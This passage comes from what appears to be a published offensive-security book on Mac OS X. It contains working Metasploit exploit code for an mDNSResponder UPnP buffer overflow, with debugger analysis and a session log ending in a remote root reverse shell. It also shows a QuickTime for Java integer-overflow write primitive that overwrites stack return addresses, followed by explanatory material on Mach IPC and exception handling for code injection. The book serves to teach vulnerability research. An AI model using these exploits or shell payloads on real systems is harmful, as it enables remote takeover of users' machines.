      socket.sendto(upnp_reply, datastore[‘RHOST’], i)

          

      i += 1

    end

    @mutex.synchronize { 

      if (@found_upnp_port)

        upnp_port = @upnp_port

      end

    }

  ensure

    server.close

    server_thread.join

  end

95363c10.indd   27895363c10.indd   278 1/25/09   4:42:47 PM1/25/09   4:42:47 PM



 Chapter 10 ■ Real-World Exploits 279

  return upnp_port

end

The exploit method that triggers this vulnerability will scan for the UPnP port 
and then send a 22 KB pattern string for the Location header. It is important that 
we do not close the UPnP GET request connection, as it causes mDNSResponder 
to execute an exploitable code path. 

def exploit

  upnp_port = scan_for_upnp_port()

  datastore[‘RPORT’] = upnp_port

  socket = connect_udp()

  space = “A” * 21000

  boom = Rex::Text.pattern_create(2000)

  upnp_reply =

    “HTTP/1.1 200 Ok\r\n” +

    “ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n” +

    “Location: http://#{space + boom}\r\n\r\n”

  puts “[*] Sending evil UPNP response”

  socket.put(upnp_reply)

  puts “[*] Sleeping to give mDNSDaemonIdle() a chance to run”

  sleep(10)

  handler()

  disconnect_udp()

end

Also keep in mind that since this is a complex vulnerability in an open-source 
component, we have compiled mDNSResponder from source to make the exploit 
development easier. In the GDB output that follows, GDB will be able to show us 
a line of source code to give us a better idea of where the application crashed. 

Exploiting the Vulnerability
Now we’ll attach to the process with GDB (shown in the following code) and 
then launch the exploit from Metasploit (not shown) to trigger the vulnerability 
using our long pattern string.

# gdb -p `ps auxww | grep mDNSResponder | grep -v grep | awk ‘{print 

$2}’`

GNU gdb 6.3.50-20050815 (Apple version gdb-573) (Fri Oct 20 15:50:43 GMT 

2006)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you 

are
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welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 

details.

This GDB was configured as “i386-apple-darwin”.

/Users/ddz/2849: No such file or directory.

Attaching to process 2849.

Reading symbols for shared libraries . done

Reading symbols for shared libraries ............. done

0x90009817 in mach_msg_trap ()

(gdb) cont

Continuing.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x413065e9

0x0000d665 in mDNSDaemonIdle (m=0x59040) at daemon.c:2406

2406          if (m->p->NetworkChanged && now - m->p->NetworkChanged 

>= 0) mDNSMacOSXNetworkChanged(m);

(gdb) p /x *m

$1 = {

  p = 0x41306541, 

  KnownBugs = 0x65413165, 

  CanReceiveUnicastOn5353 = 0x33654132, 

  AdvertiseLocalAddresses = 0x41346541, 

  mDNSPlatformStatus = 0x65413565, 

  UnicastPort4 = {

    b = {0x36, 0x41}, 

    NotAnInteger = 0x4136

  }, 

  UnicastPort6 = {

    b = {0x65, 0x37}, 

    NotAnInteger = 0x3765

  }, 

  MainCallback = 0x41386541, 

…

Our pattern string has overwritten the contents of this mDNS structure m. 
More importantly, this structure contains a function pointer in its MainCallback 
element, and it is called by the mDNSMacOSXNetworkChanged() function. For 
this function to be called, m->p->NetworkChanged must be nonzero and less 
than the value for the variable. This variable is set to the return value of time(), 
which returns the current time in seconds past the UNIX epoch (January 1, 
1970 at 00:00:00 UTC).

The structure member NetworkChanged is stored at offset 168 from p. We will 
address this by placing the writable memory address of a nonzero value minus 
168 at its offset in the attack string; however, it is more complicated than this. 
Other functions called from mDNSMacOSXNetworkChanged() will crash if the 
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p structure is not a valid linked list. This is diffi cult to replicate in an exploit, 
so we make sure that it is an empty linked list by pointing it to zero. Therefore, 
our value for m has to satisfy the following:

 It is a memory address that points to zero. ■

 The value at offset 168 from that memory address is nonzero. ■

  The value is less than the return value of time(), so it should be as low  ■

a number as possible.

With some manual searching, we easily fi nd a suitable address within dyld’s 
data segment (0x8fe510a0). As before, we will fi nd the offset at which to place 
it by giving the observed pattern string value to Metasploit’s pattern_offset.rb. 
Now we can patch it into the attack string in our Metasploit module and run 
the exploit once more. When we do so, we see that we control EIP and have 
jumped to a memory location taken from our pattern string.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x41386541

0x41386541 in ?? ()

(gdb) info reg

eax            0x59040     364608

ecx            0x1800038     25165880

edx            0x41386541     1094214977

ebx            0xbfffff0c     -1073742068

esp            0xbffff33c     0xbffff33c

ebp            0xbffff368     0xbffff368

esi            0xbfffff5a     -1073741990

edi            0x4fd22     326946

eip            0x41386541     0x41386541

eflags         0x10206     66054

cs             0x17     23

ss             0x1f     31

ds             0x1f     31

es             0x1f     31

fs             0x0     0

gs             0x37     55

(gdb) x/4x $eax

0x59040:     0x8fe510a0     0x65413165     0x33654132     0x41346541

In our examination of the registers in this code, we can see that the EAX reg-
ister points to the magic address within the attack string. This is not very useful 
to us since it is very hard to fi nd useful return addresses that add or subtract 
from EAX before jumping to it. Therefore, we will take another approach.

Variables in the data segment are at known static locations. Because they 
do not depend on runtime behavior as stack and heap memory do, we can be 
confi dent that a hard-coded address for a data segment variable will be constant 
across all identical builds of that software. In this case we will hard-code the 
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address of the beginning of our attack string. We can fi nd the address of the 
beginning of our attack string by subtracting the offset of a known element of 
it from a pointer to it.

(gdb) x/4x $eax

0x59040:     0x8fe510a0     0x65413165     0x33654132     0x41346541

We fi nd that the value 0x65413165 is at offset 124 within our pattern string and 
is stored at memory address 0x59044. By subtracting that offset and 21,000 bytes 
for the spacer that we use before the pattern string, we will fi nd the address at 
which our attack string begins.

(gdb) p /x 0x59044 - 124 - 21000

$2 = 0x53dc0

(gdb) x/x 0x53dc0

0x53dc0 <g_szRouterHostPortDesc>:     0x41414141

(gdb) x/x 0x53dc0 - 4

0x53dbc <g_saddrRouterDesc+28>:     0x00000000

(gdb) x/4x 0x53dc0 - 4

0x53dbc <g_saddrRouterDesc+28>:     0x00000000     0x41414141     

0x41414141     0x41414141

The address of our attack string, 0x00053dc0, has a NULL byte in its most-
signifi cant byte. Luckily, x86 is little-endian so this byte comes last when it is 
written in a string. We will use the automatic addition of the terminating NULL 
byte by the vulnerable strcpy() to create this byte for us. That means our attack 
string will end with the three least-signifi cant bytes of this address, and we 
must place our payload at the beginning of the attack string.

This gives us our fi nal exploit method:

def exploit

  upnp_port = scan_for_upnp_port()

  datastore[‘RPORT’] = upnp_port

  socket = connect_udp()

  space = “A” * 21000

  space[0, payload.encoded.length] = payload.encoded

  boom = Rex::Text.pattern_create(147)

  boom[120, 4] = [target[‘Magic’]].pack(‘V’)

  boom[144, 3] = [target[‘g_szRouterHostPortDesc’]].pack(‘V’)[0..2]

  upnp_reply =

    “HTTP/1.1 200 Ok\r\n” +

    “ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n” +

    “Location: http://#{space + boom}\r\n\r\n”
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  puts “[*] Sending evil UPNP response”

  socket.put(upnp_reply)

  puts “[*] Sleeping to give mDNSDaemonIdle() a chance to run”

  sleep(10)

  handler()

  disconnect_udp()

end

Exploiting on PowerPC
Exploitation of this vulnerability on PowerPC is simpler than on x86. Again we 
will overwrite the mDNS structure in the data segment and specifi cally over-
write the MainCallback function pointer to obtain control of execution.

First we will need a similar magic address to the one we used on x86, with 
the same constraints. We will start by triggering the vulnerability with a long 
string and a pattern string for the mDNS structure with the magic address 
patched in. Here is the initial exploit method.

def exploit

  upnp_port = scan_for_upnp_port()

  datastore[‘RPORT’] = upnp_port

  socket = connect_udp()

  space = “A” * target[‘Offset’]

  pattern = Rex::Text.pattern_create(48)

  pattern[20, 4] = [target[‘Magic’]].pack(‘N’)

  boom = space + pattern

  upnp_reply =

    “HTTP/1.1 200 Ok\r\n” +

    “ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n” +

    “Location: http://#{boom}\r\n\r\n”

  puts “[*] Sending evil UPNP response”

  socket.put(upnp_reply)

  puts “[*] Sleeping to give mDNSDaemonIdle() a chance to run”

  sleep(10)

  handler()

  disconnect_udp()

end

When we attach a debugger to mDNSResponder and catch the exception, we 
can see that we have jumped to an address from our pattern string.
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Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x34416234

0x34416234 in ?? ()

(gdb) info registers

r0             0xa8a4     43172

r1             0xbffff300     3221222144

r2             0x1     1

r3             0x45400     283648

r4             0xfffeff01     4294901505

r5             0x0     0

r6             0xa21c0000     2719744000

r7             0xb815a     754010

r8             0x0     0

r9             0xb97ee7f2     3112101874

r10            0x45400     283648

r11            0x417ee7f2     1098835954

r12            0x34416235     876700213

r13            0x0     0

r14            0x0     0

r15            0x0     0

r16            0x0     0

r17            0x0     0

r18            0x0     0

r19            0x0     0

r20            0x0     0

r21            0x0     0

r22            0x0     0

r23            0x0     0

r24            0x45400     283648

r25            0x417ee7ec     1098835948

r26            0x40000     262144

r27            0x40000     262144

r28            0x0     0

r29            0x1387     4999

r30            0x40000     262144

r31            0x40000     262144

pc             0x34416234     876700212

ps             0x4200d030     1107349552

cr             0x84000224     2214593060

lr             0xa8a4     43172

ctr            0x34416235     876700213

xer            0x20000007     536870919

mq             0x0     0

fpscr          0x82024000     2181185536

vscr           0x10000     65536

vrsave         0x0     0

(gdb) x/x $r26

0x40000 <g_szUSN+556>:     0x00000000

Notice in this code that several registers point to 0x40000, which is in the 
middle of a global string g_szUSN. From examination of the mDNSResponder 
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source code, we can see that the contents of the USN header in the UPnP 
response are copied into this string. This is an ideal place to store our payload, 
and it will be easy to fi nd a number of useful addresses that will let us branch 
into one of the registers pointing to this address. We can easily fi nd these useful 
addresses by grepping through the disassembly of dyld.

% otool -tv /usr/lib/dyld | grep -B 1 bctr | grep -A 1 –E \

    ‘mtspr.*(r26|r27|r30|r31)’

8fe2d304     mtspr     ctr,r27

8fe2d308     bctrl

--

8fe2d398     mtspr     ctr,r26

8fe2d39c     bctrl

--

8fe2d3cc     mtspr     ctr,r26

8fe2d3d0     bctrl

--

…

Just as before, we calculate the offset of MainCallback using Metasploit’s pat-
tern_offset.rb and patch this into our attack string. We also create a USN header 
in our response that contains our payload at the correct offset. Our exploit now 
looks like the following.

def exploit

  upnp_port = scan_for_upnp_port()

  datastore[‘RPORT’] = upnp_port

  socket = connect_udp()

  space = “A” * target[‘Offset’]

  pattern = Rex::Text.pattern_create(48)

  pattern[20, 4] = [target[‘Magic’]].pack(‘N’)

  #

  # r26, r27, r30, r31 point to g_szUSN+556

  # Ret should be a branch to one of these registers

  # And we make sure to put our payload in the USN header

  #

  pattern[44, 4] = [target[‘Ret’]].pack(‘N’)

  boom = space + pattern

  #

  # Start payload at offset 556 within USN

  #

  usn = “A” * 556 + payload.encoded

  upnp_reply =

    “HTTP/1.1 200 Ok\r\n” +

    “ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n” +

    “USN: #{usn}\r\n” +

95363c10.indd   28595363c10.indd   285 1/25/09   4:42:47 PM1/25/09   4:42:47 PM



286 Part III ■ Exploitation

    “Location: http://#{boom}\r\n\r\n”

  puts “[*] Sending evil UPNP response”

  socket.put(upnp_reply)

  puts “[*] Sleeping to give mDNSDaemonIdle() a chance to run”

  sleep(10)

  handler()

  disconnect_udp()

end

Finally we try out our completed exploit in Metasploit to make sure it works. 
As you can see, we get a nice remote root shell:

% ./msfconsole

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8’ 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   ‘Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo’   8  `YooP8 `YooP’ 8YooP’ 8 `YooP’  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

       =[ msf v3.2-release
+ -- --=[ 308 exploits - 172 payloads
+ -- --=[ 20 encoders - 6 nops
       =[ 67 aux

resource> set LHOST 10.13.37.107
LHOST => 10.13.37.107
resource> set RHOST 10.13.37.108
RHOST => 10.13.37.108
resource> set PAYLOAD osx/ppc/shell_reverse_tcp
PAYLOAD => osx/ppc/shell_reverse_tcp
resource> set ENCODER ppc/longxor
ENCODER => ppc/longxor
resource> use exploit/osx/mdns/upnp_location
msf exploit(upnp_location) > exploit
[*] Started reverse handler
[*] Listening for UPNP requests on: http://10.13.37.107:1900
[*] Sending UPNP Discovery replies…
[*] Sending evil UPNP response
[*] Sleeping to give mDNSDaemonIdle() a chance to run
[*] Command shell session 1 opened (10.13.37.107:4444 -> 
10.13.37.108:49166)
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id  
uid=0(root) gid=0(wheel) groups=0(wheel)
uname -a
Darwin MacMini.local 8.0.0 Darwin Kernel Version 8.0.0: Sat 
Mar 26 14:15:22 PST 2005; root:xnu-792.obj~1/RELEASE_PPC Power 
Macintosh powerpc
pwd
/
exit

[*] Command shell session 1 closed.
msf exploit(upnp_location) > 

QuickTime QTJava toQTPointer() Memory Access

QuickTime 7 prior to 7.1.5 had a serious vulnerability in QuickTime for Java 
that allowed a malicious applet to write to arbitrary out-of-bounds memory 
locations. The specifi c vulnerability was caused by insuffi cient validation to 
the QTHandleRef.toQTPointer() method, leading to an integer overfl ow dur-
ing array bounds calculations. This vulnerability affected all operating sys-
tems supported by Apple QuickTime and browsers using the QuickTime 
plug-in. This means it was exploitable on everything from Safari on Mac OS 
X to Firefox or Internet Explorer 7 running on Windows Vista if the user had 
installed QuickTime or iTunes. This is also the vulnerability that Dino Dai Zovi 
discovered and exploited in one night to win the fi rst PWN2OWN contest at 
CanSecWest 2007.

A QTPointerRef object is a “smart” pointer in Java. It is aware of the size of 
the buffer that it points to and it attempts to ensure that the data reading and 
writing methods that it provides remain within that buffer. QTPointerRefs had 
a protected constructor so that an applet could not create a QTPointerRef of an 
arbitrary memory location and size. However, a QTPointerRef can be created 
from other objects, such as a QTHandleRef. That was the source of this vulner-
ability—a method in QTHandleRef that created QTPointerRefs insecurely.

We can use the Jad Java decompiler to decompile Java class fi les into read-
able Java source code. We have done this and cleaned up the output a little for 
QTHandleRef.toQTPointer():

public QTPointerRef toQTPointer(int offset, int length)

{

    length = (length + offset <= getSize()) ? length : getSize() - 

offset;

    lock();

    return new QTPointerRef(lockAndDeref(offset), length, this);

}
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We can see that there really isn’t any validation done on the offset and length 
arguments. Assume that we had a zero-size QTHandleRef. If we could coerce 
this method into creating a QTPointerRef with a nonzero offset or length, 
then we would be able to perform out-of-bounds memory reads and writes. 
Various methods in QTPointerRef perform some length and size validation in 
the QTUtils.doBoundsChecks() method. We have similarly decompiled and 
cleaned up the output for it in the following code.

static void doBoundsChecks(int sourceOffset, int sourceSize,

                           int readLength, int elementSize,

                           int destinationOffset, int destinationSize)

    {

        if(sourceOffset + readLength * elementSize > sourceSize ||

           destinationOffset + readLength > destinationSize ||

           sourceOffset < 0 ||

           destinationOffset < 0)

            throw new ArrayIndexOutOfBoundsException();

        else

            return;

    }

In reading this code, consider what happens when either of the offsets is 
0x7FFFFFFF. This value is a positive integer, so it passes the checks for nega-
tive integers. When it is added to any size of readLength, it becomes negative, 
and not just negative; the integer wraps over to become the most negative value 
possible for a 32-bit signed integer. As a concrete example, consider adding a 
length of 1 to an offset of 2,147,483,647 (0x7FFFFFFF as a signed integer). This 
results in  -2,147,483,648 (0x80000000 as a signed integer). This value passes all 
of the validation done in doBoundsChecks() and allows the caller to access 
out-of-bounds memory.

This example shows how diffi cult it can be to validate memory addresses and 
bounds (which should be considered unsigned 32-bit integers) in a language 
like Java that supports only 32-bit signed integers. 

Exploiting toQTPointer()
First we create a zero-size QTHandle and do not clear the memory. This will 
allocate a zero-size native memory buffer.

QTHandle handle = new QTHandle(0, false);

Next we convert the handle to a QTPointerRef. The method takes an off-
set and length argument. We will specify both an offset of 1 and length of 
0x7FFFFFFF (2,147,483,647). This value is a special boundary condition; it is 
the largest positive signed integer, but if you add one to it, it becomes the 
smallest negative signed integer. These values trick both toQTPointer() and 
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checkQTObjectSizeAndOffset(), resulting in a QTPointerRef being returned 
with an allocated size of 0 but an allowed size of 2,147,483,647 bytes. This means 
that it did not actually allocate 2GB of memory, but it will allow us to write up 
to 2GB of data into it.

QTPointerRef pointer = handle.toQTPointer(1, 0x7fffffff);

At this point we have a magic QTPointerRef that can write to 2GB of the 
process memory. This is half of the 32-bit address space. We don’t know where 
exactly our writable memory begins or ends. This makes it diffi cult to write a 
reliable exploit. Luckily, the QuickTime for Java programmers were kind enough 
to supply us with the native memory address of all QTObjects. QTObject.ID() 
returns a QTObject’s native memory address, as shown here:

nativeAddress = QTObject.ID(pointer);

At this point we have a QTPointerRef that will allow us to write up to 2GB 
of data to a known native memory address. We can use this to write data to a 
chosen memory address by calculating a fake “offset” within our QTPointerRef 
“buffer” memory. The following lines use the QTPointerRef.copyFromArray() 
method to write a chosen value (what) to a chosen memory address (where). 

int box[] = new int[1];

box[0] = what;

int offset = where - nativeAddress;

pointer.copyFromArray(offset, box, 0, 1);

This gives us the ability to write to half of the address space, but we’d like 
more. We can also call toQTPointer() with both an offset and size of 0x7FFFFFFF. 
This will trick toQTPointer() into giving us a QTPointerRef() that begins 2GB 
from the QTHandle pointer. This gives us access to the other half of the 32-bit 
address space, and we can now write completely arbitrary memory to arbitrary 
locations. Among exploit writers, this is often called a write4 primitive.

Putting this all together, we can write a single method that will let us write 
a chosen value to a chosen memory address. This is game over.

public void writeInt(int address, int value) {

    QTHandle handle = new QTHandle(0, false);

    _lo_pointer = handle.toQTPointer(1, 0x7fffffff);

    _lo_base = QTObject.ID(_lo_pointer);

    _hi_pointer = handle.toQTPointer(0x7fffffff, 0x7fffffff);

    _hi_base = QTObject.ID(_hi_pointer);

    int[] box = new int[1];

    box[0] = value;

  try {

      int offset = address - _hi_base;
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      _hi_pointer.copyFromArray(offset, box, 0, 1);

  }

  catch (ArrayIndexOutOfBoundsException e) {

      int offset = address - _lo_base;

      _lo_pointer.copyFromArray(offset, box, 0, 1);

  }

}

Obtaining Code Execution
Since we can write to memory arbitrarily, we can leverage this in a multitude of 
ways to obtain code execution. Perhaps the most straightforward way to obtain 
code execution is to write the payload somewhere in memory and overwrite a 
stack return address with the address of our payload. In fact, our exploit does 
just that (actually, it overwrites all stack return addresses).

int[] payloadAddress = {0x8fe54200};

writeBytes(payloadAddress[0], payload, payload.length);

for (int i = 0xbfffe000; i < 0xc0000000; i += 4)

    writeInts(i, payloadAddress, 1);

Conclusion

In this chapter we walked through several real-world exploits of stack, data-
segment, and integer-overfl ow vulnerabilities. These exploits, written for the 
Metasploit Framework, show how an attacker can realistically take advantage 
of Mac OS X security vulnerabilities to compromise systems over the network 
or through a web browser.
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In Chapter 9, “Exploit Payloads,” we demonstrated a remote bundle-injection 
exploit payload. In this chapter, we show how to develop custom injectable 
bundles to perform mission logic using high-level languages such as C and 
Objective-C. This allows us to use any of the facilities or frameworks provided 
by Mac OS X in our attacks. We will begin by giving some background on Mach 
programming and describe the local bundle injector that can be used to develop 
injectable bundles for local and remote processes. We will also demonstrate 
function hooking and Objective-C method swizzling that allows us to override 
the behavior of the compromised process dynamically. In the course of explain-
ing all of these topics, this chapter will demonstrate bundles to take snapshots 
with the user’s iSight camera, capture SSL traffi c in Safari, and log iChats.

Introduction to Mach

To understand the injection tools in this chapter and the Mach-based rootkit 
techniques in the next one, you need at least a passing familiarity with Mach pro-
gramming. We will cover some basic background here, but for a more in-depth 
treatment refer to Mac OS X Internals: A Systems Approach (Addison-Wesley, 2006) 
and Programming Under Mach (Addison-Wesley, 1993). As discussed in Chapter 
1, “Mac OS X Architecture,” (and like its ancestor NeXTSTEP), Mac OS X uses 
a kernel based on both Mach and BSD. Whereas NeXSTSTEP’s kernel was a 
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hybrid between Mach 2.5 and BSD 4.3, Mac OS X’s kernel is based on Mach 3.0 
and FreeBSD.

Mach 3.0 is a microkernel-based operating system where the kernel is meant 
to be as small as possible and many traditionally kernel-based facilities run 
as user-mode services that communicate with each other and the kernel via 
fast interprocess communication (IPC). For example, Mach has no notion of 
processes, users, groups, or fi les. Mach deals in abstractions like tasks, threads, 
ports, messages, and memory objects.

As mentioned previously, the Mac OS X kernel (XNU) is a hybrid of Mach and 
BSD. The lower-level Mach layer is based on Mach 3.0 and handles processor 
scheduling, memory management, and several forms of IPC. The higher-level 
BSD layer is based on FreeBSD and is responsible for giving the operating sys-
tem a UNIX-like personality, including system calls, fi le systems, and network-
ing. It is easiest to understand the XNU kernel as a port of FreeBSD to the Mach 
microkernel. In contrast to the earlier Mach-based operating systems where the 
BSD layer was implemented as a user-land server, XNU runs its FreeBSD layer 
in the same kernel address space for increased performance. In this way, the 
XNU kernel can still be considered a Mach-based kernel but with an integrated 
BSD layer running on top of it.

While many parts of Mach are accessible only within the kernel, many Mach 
interfaces are still visible to user-land processes. In some cases, traditional UNIX 
interfaces are not available or fully functional, and the Mach equivalents must be 
used instead. For example, the ptrace debugging interface is barely functional on 
Mac OS X. Debuggers must use a combination of ptrace and Mach system calls to 
be fully functional. In other cases there are multiple interfaces to the same func-
tionality. For example, both the BSD mmap() system call and the Mach vmmap() 
system call can be used to allocate memory directly from the kernel.

Mach Abstractions
The primary Mach abstractions are tasks, threads, ports, messages, and memory 
objects. Many of the in-kernel and Mach system calls use these abstractions and 
they are also used to implement many Mac OS X and Cocoa features. 

Under classical UNIX operating systems, the process encapsulated both 
resources and execution state. Under Mach, the UNIX process has been sepa-
rated into the task and one or more threads. The task is a resource container that 
holds the process memory address space (memory pages and their protection 
permissions), ports, and other process management information for UNIX sig-
nals, fi le descriptors, timing, and other resource control; see Figure 11-1.

The thread represents the execution state of the process. Each thread has its 
own execution context, including architecture-specifi c CPU registers: general-
purpose registers, a stack pointer, a frame pointer, and a program counter. 
Threads are always created within a task.
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 Figure 11-1:  The BSD process and Mach task

Mach IPC is based on ports and messages. A port is a basic one-way com-
munications channel by which threads communicate with each other. Threads 
communicate with other threads (usually in another task) by sending messages 
over these ports. Ports differ from traditional UNIX sockets in that the mes-
sages sent across them are structured and atomic as compared to the sequenced 
byte-stream interface of local UNIX sockets. Ports are owned by a task and all 
threads within a given task have access to the same ports. A port is named by 
a task-specifi c integer value in a mechanism similar to UNIX fi le descriptors. 
Associated with each port is a set of rights. A task may have rights to send mes-
sages to a port, receive messages on a port, or send a single message to a port. 
Only one task may hold receive rights to a port, but many tasks may hold send 
or send-once rights to it. For that reason, the task with receive rights on a port 
is considered the port’s owner.

Mach also provides a remote procedure call (RPC) facility based on Mach 
IPC. Mac OS X uses this extensively for communication between local pro-
cesses rather than manual use of Mach messages. An RPC interface is defi ned 
in a defi nitions fi le for the Mach Interface Generator (MIG), that can be used 
to generate stub client and server code for that RPC interface. A variety of 
these fi les may be found in /usr/include/mach. The following example shows 
some RPC defi nitions from /usr/include/mach/task.defs. Mac OS X develop-
ers are not expected to use Mach RPC, so Apple provides little documentation 
on it. For more information, however, consult Apple’s Kernel Programming 
Guide (http://developer.apple.com/DOCUMENTATION/DARWIN/Conceptual/
KernelProgramming) or the aforementioned Mac OS X Internals.

/*
 *      Create a new task with an empty set of IPC rights,
 *      and have an address space constructed from the
 *      target task (or empty, if inherit_memory is FALSE).
 */
routine task_create(
                target_task     : task_t;
                ledgers         : ledger_array_t;
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                inherit_memory  : boolean_t;
        out     child_task      : task_t);

/*
 *      Destroy the target task, causing all of its threads
 *      to be destroyed, all of its IPC rights to be deallocated,
 *      and all of its address space to be deallocated.
 */
routine task_terminate(
                target_task     : task_t);

Mach ports are also used to identify tasks and threads in Mach system calls. 
The Mach task_t and thread_t types are actually Mach ports. The kernel holds 
the receive rights for these ports, and tasks that perform operations using them 
must hold send rights for them. As we will discuss in the next section, send 
rights on a task or thread port yield full control over that task or thread, analo-
gous to being able to attach with a debugger.

Mach Security Model
The Mach security model is a capability-based model expressed through ports 
and port rights. Under the UNIX security model, a user has full access to all 
of the processes running under their user ID. Under the Mach security model, 
access to a specifi c task is restricted to tasks with send rights to its task port. 
Only the kernel holds receive rights for task ports, and the task port is also 
referred to as the task’s kernel port. When a new task is created, the creating 
task is automatically given send rights to the new task’s kernel port. An unre-
lated task, however, would not have a reference to this port nor send rights 
for it. Access to a task’s kernel port allows full control over the task, including 
manipulating the task’s threads, memory, and scheduling.

A task may also transfer port rights to another task. When send rights are 
transferred to another task, the sending task retains those rights as well. When 
receive rights are transferred to another task, the sending task gives up those 
rights since only one task may hold receive rights for a port at one time.

Since a Mac OS X process is both a UNIX process and a Mach task, two system 
calls can be used to retrieve the process ID (PID) for a given Mach task and vice 
versa: pid_for_task() and task_for_pid(), respectively. The pid_for_task() Mach 
system call requires that the caller have send rights to the Mach task port. The 
authorization model for task_for_pid() is much more complicated and is differ-
ent among operating systems and architectures.

On Tiger for PowerPC, access is given to the task port if the target process is 
running as the same real user ID as the calling process and the target process is 
not set-user id or set-group id. If the calling process is running as root, however, 
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access is always granted. On Tiger for x86, there is an additional requirement to 
use task_for_pid(): if the calling user is not root, they must be in the procmod 
or procview group to perform this system call.

Leopard uses a daemon that is launched on demand to service task_for_pid() 
authorizations named taskgated. Whenever task_for_pid() is called, the kernel 
fi rst verifi es the POSIX user IDs of the current and target processes. The POSIX 
check is intended to prevent malicious software from using task_for_pid() to 
exploit privileged processes running as a separate user or with privileges granted 
through set-user-id or set-group-id bits on the executable. This check passes if 
the current process is root or if all of the following conditions are true.

  The target process’s real, effective, and saved user IDs are the same as  ■

the current process’s effective user IDs.

  The target process’s group set is a subset of the calling process’s group  ■

set.

  The target process hasn’t switched credentials (i.e., has the set-user-id  ■

or set-group-id bits set on the executable).

If the POSIX check passes, the system call also performs an upcall via Mach 
RPC to taskgated in order to allow it to apply the confi gured task_for_pid secu-
rity policy. The default taskgated confi guration accepts the Tiger convention 
of allowing processes with primary group procmod full access and procview 
read-only access to the task port as well as a newer policy based on authoriza-
tion checks and code signing. The code-signing policy allows Apple-signed 
applications marked with “allowed” and “safe” SecTaskAccess info keys to 
execute task_for_pid() without prompting the user. Properly signed third-party 
applications that are marked with “allowed” for SecTaskAccess can execute 
task_for_pid() by passing a one-time authorization check requiring the user to 
enter an administrator’s username and password.

Mach Exceptions
Under traditional UNIX-based operating systems, an illegal memory access 
will generate a segmentation violation signal (SIGSEGV), usually resulting in 
a segmentation fault and a core dump. Under Mac OS X, you will usually see 
the same thing, but there is more going on behind the scenes. This extra bit is 
the Mach exception-handling facility, and it is the magic behind debugging on 
OS X and ReportCrash.

Many of the runtime errors that trigger signals on UNIX cause exceptions 
under Mach. Common examples are accessing an unmapped memory address, 
violating page permissions on mapped memory, or dividing by zero. When one 
of these events happens, the thread performing the invalid action (referred to as 
the victim thread) generates an exception. Every thread has a special exception 
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port that may be set to allow another thread (referred to as the handler thread) to 
handle exceptions generated in the victim. If there is no thread-exception port 
set or if the exception handler does not handle the exception, the kernel delivers 
the exception to the task. Similar to the thread, every task has an exception port 
that allows another task to handle exceptions within it. If the task-exception 
handler does not handle the exception or the task-exception port is not set, the 
exception is converted into a UNIX signal and delivered to the BSD process. 

The kernel handles the communication with the exception handlers on behalf 
of the victim thread or task. This communication is performed through Mach 
IPC. An exception handler thread allocates a new port and sets it as the excep-
tion port for another thread or task. The handler thread can then block in a call 
to mach_msg_receive() waiting for a message from the kernel if and when the 
victim thread or task generates an exception. The handler thread is given send 
rights to the thread and task where the exception occurred and may manipulate 
both to handle the exception. The exception handler then sends a message back 
to the kernel indicating whether the exception was handled (and the kernel 
should resume execution of the victim thread) or not handled (in which case 
the kernel should continue searching for an exception handler).

The following code is an excerpt from inject_bundle.c that shows how to 
allocate a port and set it as the exception port for another thread. In the next 
section we will describe inject_bundle.c and explain how to use Mach excep-
tions when injecting code into another process.

kern_return_t kr;

mach_port_t exception_port;

thread_basic_info_data_t thread_basic_info;

mach_msg_type_number_t thread_basic_info_count = 

THREAD_BASIC_INFO_COUNT;

// Allocate exception port

if ((kr = mach_port_allocate(mach_task_self(),

                             MACH_PORT_RIGHT_RECEIVE,

                             &exception_port))) {

    errx(EXIT_FAILURE, “mach_port_allocate: %s”, mach_error_string(kr));

}

// Give the remote task send rights to our exception port

if ((kr = mach_port_insert_right(mach_task_self(),

                                 exception_port, exception_port,

                                 MACH_MSG_TYPE_MAKE_SEND))) {

    errx(EXIT_FAILURE, “mach_port_insert_right: %s”,

         mach_error_string(kr));

}

// Set remote thread’s exception port

if ((kr = thread_set_exception_ports(remote_thread->thread,

                                     EXC_MASK_BAD_ACCESS,
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                                     exception_port,

                                     EXCEPTION_STATE_IDENTITY,

                                     x86_THREAD_STATE32))) {

    errx(EXIT_FAILURE, “thread_set_exception_ports: %s”,

         mach_error_string(kr));

}

The exception-handler thread now needs only to listen for incoming mes-
sages on that port. The easiest way to do that is to use mach_msg_server() 
and exc_server(). The mach_msg_server() function puts the calling thread in 
a loop calling mach_msg_receive(), a given message-handling function, and 
mach_msg_send(). The exc_server() function is an exception message-handling 
function that works perfectly with mach_msg_server(). It decodes the exception 
messages and calls locally defi ned exception-handler functions with arguments 
from the decoded message. The declarations for these functions are shown in 
the following examples.

extern mach_msg_return_t mach_msg_server(boolean_t (*)

                                             (mach_msg_header_t *,

                                              mach_msg_header_t *),

                                          mach_msg_size_t,

                                          mach_port_t,

                                          mach_msg_options_t);

extern boolean_t exc_server(mach_msg_header_t *request,

                            mach_msg_header_t *reply);

The exception-handler functions must match the names and types that exc_
server() expects. These handler prototypes are as follows.

kern_return_t   catch_exception_raise

                (mach_port_t                          exception_port,

                 mach_port_t                                  thread,

                 mach_port_t                                    task,

                 exception_type_t                          exception,

                 exception_data_t                               code,

                 mach_msg_type_number_t                   code_count);

kern_return_t   catch_exception_raise_state

                (mach_port_t                          exception_port,

                 exception_type_t                          exception,

                 exception_data_t                               code,

                 mach_msg_type_number_t                   code_count,

                 int *                                        flavor,

                 thread_state_t                             in_state,

